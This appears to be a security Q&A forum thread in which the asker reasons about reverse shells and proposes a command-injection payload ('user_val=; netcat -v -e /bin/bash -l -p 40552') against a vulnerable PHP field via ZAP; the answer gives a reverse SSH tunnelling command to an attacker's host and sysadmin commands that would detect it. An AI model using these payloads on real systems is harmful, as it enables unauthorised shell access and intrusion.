Reverse shell attack and proxy interceptions.. . is there anything worng?

Question

First I've got a few questions about Reverse shell.

REVERSE SHELL

I'm trying to understand the Reverse shell technique.

My reasoning is as follows (I'd be glad if you could point out any mistake about it)

1) Reverse shell is different (I'd say the opposite) from a normal shell since in this particular case the remote server opens a connection (normal or direct shell implies that the client establishes a connection to the server)

2) Reverse shell can bypass firewall controls since it's basically an outgoing connection. Firewalls are supposed to guard against incoming connections.(Probably this might be questionable)

ATTACK

3) Furthermore, is the following scenario feasible? (I mean, can I inject command through a proxy software like ZAP?)

Scenario: A site is vulnerable to user's input data. Users insert data through a text field.

OS: GNU/Linux. Server: Apache/2.2.15 X-Powered-By:PHP/5.3.5

Suppose that through a proxy software (like ZAP) after some checking, you are able to note that there's a field which matches the user's input field available through the user interface.

The field is called: user_val.

Given that, I can try to inject a simple command separator ";" which practically it is as though you set: user_val=;

Then I notice that there are some files embedded in the web page the application returns.

Wow, the app is vulnerable.

The application is vulnerable, so it's possible to directly interact with the server file system. Now ...the knotty problem (for me) 4) Is the following command correct? (Using ZAP I try to fire up a reverse shell)

netcat -v -e '/bin/bash' -l -p 40552 

-v (verbose),-e (when a connextion is made it runs the Bash shell), -l (parameter to listen for a connection) -p (it enables to assign a port to listen on, here port 40552), the port chosen must be free.

5) So using ZAP the injection is the following code correct?:

user_val=; netcat -v -e '/bin/bash' -l -p 40552 

Thanks a lot (I do apologize for the long post).

Answer 1

Yes, reverse ssh may be used to bypass firewall incoming limitations.

But As you have to run such a command on target:

ssh -R 2222:localhost:22 myuser@myipaddres

This will be visible by sysadmin via a simple

ps -C ssh ww

This command will print your IP address and the login used for remote ssh.

The following command:

netstat -tanp |
    sed -ne  '
        s/tcp.*\(127.0.0.[0-9]*\):22[\t ]*\1:.* \([0-9]\+\)\/.*/\2/p
        ' |
        xargs -n1 ps wwho sid --ppid |
        xargs  -n1 ps efwh --sid

will print exactly what you'r doing right now.

At all, if you're logged into a honeybot, (real) .bashrc contain something like script for logging everything you do.

And last but not least, Reverse SSH implie that target have an acccess to one of your host. So be care that in this host, there are not another opened ssh session.